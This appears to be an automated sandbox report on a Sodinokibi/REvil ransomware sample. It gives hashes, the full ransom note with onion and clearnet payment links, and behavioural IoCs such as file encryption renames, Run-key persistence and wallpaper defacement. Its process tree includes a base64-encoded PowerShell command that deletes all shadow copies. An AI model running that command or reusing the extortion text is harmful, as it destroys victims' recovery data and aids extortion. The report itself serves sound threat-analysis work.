sodinokibi | d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b

General

Target
d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
Size 114KB
Sample220124-ba41bshbb7
SHA256 d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b
MD5 a74b5a306c88a8eac8f5ba0bb502fae0
SHA1 609f85fb3400e7ba88df11df2a9b965680a500fe
SHA512 be4ad74324e807fa51e6bae936f0a19abf44b4a68fb6a47032a84748e7a3d9abcfa6b20f41a808019a7fa40d5ea8c7cb6a8221eb625241ce7a0bbb314c8f8cc2
MD5 SHA1 SHA512

Score

10^/10

sodinokibi persistence ransomware

Malware Config

Extracted

Path

C:\6lv6bup1-readme.txt

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 6lv6bup1. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0FC26EB6BDF750EC 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/0FC26EB6BDF750EC Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: j4AwYFcEacyRgFuSrWuC+2bcVmZvsuenaP6SswFIo9a/r5MYKTOyFRSpI8BlmlP1 SKtdeeNULtPUz67zD+OGtl+ni5+E9uF17+laamG1QuMIK0HuagY66wqD4zfhQB8Z HdFipf+yHFUx4HSX/DPCGgEpf25k/aEtopvPeZZtebY1YjSqI8PsJ0qqNT0eoqKm QrZNskf2sh/ctX0PzlaTCNHxDBlUOGxsnLLYcFlY8DcSQk3ESRsHfp8MqfeKHlQR 6zNmqMJvTrYIk+YQn1hExs1yEsJL9M9WRVgCTZGLbYxf6Vw5qb1A7Otc1qI7l/1W Kl5A0EDb+6qrt9f8dTl2+dQNBCH+bXEX+HOTOzxG5R9O4CC1J0JgC1zM2Bsv0otG 2FpBM4FKy6lNj39iCQZyS3v190ndFZG3GbB5JzGAMkbz0pxrPVLyNl+aTfeCleA/ x27yB+27OUzHeC9cn22i3t5WtV0h1mXdCxvAeaxEjLizIbkshyMdQtQ08RIPHspy 0WQJiZ6LnMsAtIOxUiCHBNRehG8qT/X6qt48D0gRfQRYHeJLCdEIgHsaLuA9A9XR I70M1hP8COJO5Oqyu5c7lL8eXWiwGyopv9/qKRX4GaTP3XBbNpG8dPfAUh/9DsGr RWEOOGCdmSCtUXGSPhzqlkK2WXFbFJoeUw9JV8i/FGEBQ4JaGh+E+lmjr3bPMtm8 5rrfWhHaXRkBX39f8BWciyJ/iPS0ZxyEOx1pSfslRQVj4Q1ChOvJkVBaJXxzwSvL Cba+SSOpSNEfwRhiWUkBEGYH98Uf/86MAsPsBmTPp8Hnaoe3Kf2bMheXEM8NgXyZ b8Pd5ZDCeJVNxPFtjLWDkpPDI7qKjQOwz4YBM0H4DxdEAzhcmy2hwD+/WI3RHJ/K PV2nkAaXwa86YRDA36Mye6BX6S4lVjJEYNFcR0I5nK//ltLBaS0M9nAqAwiYD3oj H6zuxOXbBQVBw5Lln6ghgftQWq8BLTGu1+dqXoBHMMwKohQDXdh/wJq4cudvcuIT jYi02Y2wQdBVvM91mTi3tBPTZm2/o6ME70tysJwKL5QZMZnIkbzpshTs+EPhhffk 2B4vaoVD1pJE+iT5bUBUS4MszzWNUPpkqzGjG/T7YbfooMcBAVX1AEwz8FIU4H8T HM/KFMowmUVFaEIyQCXlWQqvB+BpuhP88/1a6FqgMVOXm5j/AxIgmAEKZtqCZiZn LwWe5p9Yxm4cqJiAQ6WqmhcIOocPptWH7UhhLGxWjeKGOw0SpK8tPE+8dgNJwzMv KXt8Iv8u+AGugTIhVvygTvXX6iE= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0FC26EB6BDF750EC
http://decryptor.cc/0FC26EB6BDF750EC

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Modifies extensions of user files 9 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\PingConvert.tif => \??\c:\users\admin\pictures\PingConvert.tif.6lv6bup1	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File renamed	C:\Users\Admin\Pictures\ResumeDismount.tif => \??\c:\users\admin\pictures\ResumeDismount.tif.6lv6bup1	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File renamed	C:\Users\Admin\Pictures\SavePop.tif => \??\c:\users\admin\pictures\SavePop.tif.6lv6bup1	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File renamed	C:\Users\Admin\Pictures\SendMeasure.crw => \??\c:\users\admin\pictures\SendMeasure.crw.6lv6bup1	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File renamed	C:\Users\Admin\Pictures\UnregisterMount.tiff => \??\c:\users\admin\pictures\UnregisterMount.tiff.6lv6bup1	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened for modification	\??\c:\users\admin\pictures\UnregisterMount.tiff	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File renamed	C:\Users\Admin\Pictures\CompareExpand.png => \??\c:\users\admin\pictures\CompareExpand.png.6lv6bup1	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File renamed	C:\Users\Admin\Pictures\MountPop.crw => \??\c:\users\admin\pictures\MountPop.crw.6lv6bup1	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File renamed	C:\Users\Admin\Pictures\SetSuspend.raw => \??\c:\users\admin\pictures\SetSuspend.raw.6lv6bup1	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\dTAEUbvF4K = "C:\\Users\\Admin\\AppData\\Local\\Temp\\d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe"	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened (read-only)	\??\G:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened (read-only)	\??\J:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened (read-only)	\??\L:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened (read-only)	\??\M:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened (read-only)	\??\Q:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened (read-only)	\??\T:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened (read-only)	\??\X:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened (read-only)	\??\A:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened (read-only)	\??\B:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened (read-only)	\??\F:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened (read-only)	\??\H:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened (read-only)	\??\I:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened (read-only)	\??\O:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened (read-only)	\??\R:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened (read-only)	\??\S:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened (read-only)	\??\U:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened (read-only)	\??\V:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened (read-only)	\??\W:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened (read-only)	\??\Y:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened (read-only)	\??\Z:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened (read-only)	\??\D:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened (read-only)	\??\K:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened (read-only)	\??\N:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened (read-only)	\??\P:	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\37ivbm866.bmp"	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\ConvertFromExpand.mhtml	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened for modification	\??\c:\program files\ConvertFromUnpublish.3g2	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened for modification	\??\c:\program files\FormatUnprotect.pcx	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened for modification	\??\c:\program files\FormatUpdate.rtf	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened for modification	\??\c:\program files\OutLock.au3	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened for modification	\??\c:\program files\StepSuspend.ods	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened for modification	\??\c:\program files\SwitchConvertTo.svgz	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File created	\??\c:\program files (x86)\6lv6bup1-readme.txt	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened for modification	\??\c:\program files\CopyEdit.png	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened for modification	\??\c:\program files\GrantInvoke.asp	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened for modification	\??\c:\program files\TraceSend.au3	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File created	\??\c:\program files\6lv6bup1-readme.txt	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened for modification	\??\c:\program files\SetSkip.png	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened for modification	\??\c:\program files\StopGrant.vdx	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened for modification	\??\c:\program files\UninstallConvertFrom.rle	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened for modification	\??\c:\program files\ConvertToClose.tif	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened for modification	\??\c:\program files\SendDisconnect.dot	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
File opened for modification	\??\c:\program files\SearchApprove.reg	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1240	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
1240	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
728	powershell.exe
728	powershell.exe
728	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1240	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
Token: SeDebugPrivilege	728	powershell.exe
Token: SeBackupPrivilege	2792	vssvc.exe
Token: SeRestorePrivilege	2792	vssvc.exe
Token: SeAuditPrivilege	2792	vssvc.exe
Token: SeTakeOwnershipPrivilege	1240	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1240 wrote to memory of 728	1240	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe	73
PID 1240 wrote to memory of 728	1240	d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe	73

C:\Users\Admin\AppData\Local\Temp\d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe
"C:\Users\Admin\AppData\Local\Temp\d69b8666af8ca8dff2770402dbff9110e2b9533901771442b079955e055ecc3b.exe"
1⤵
- Modifies extensions of user files
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:728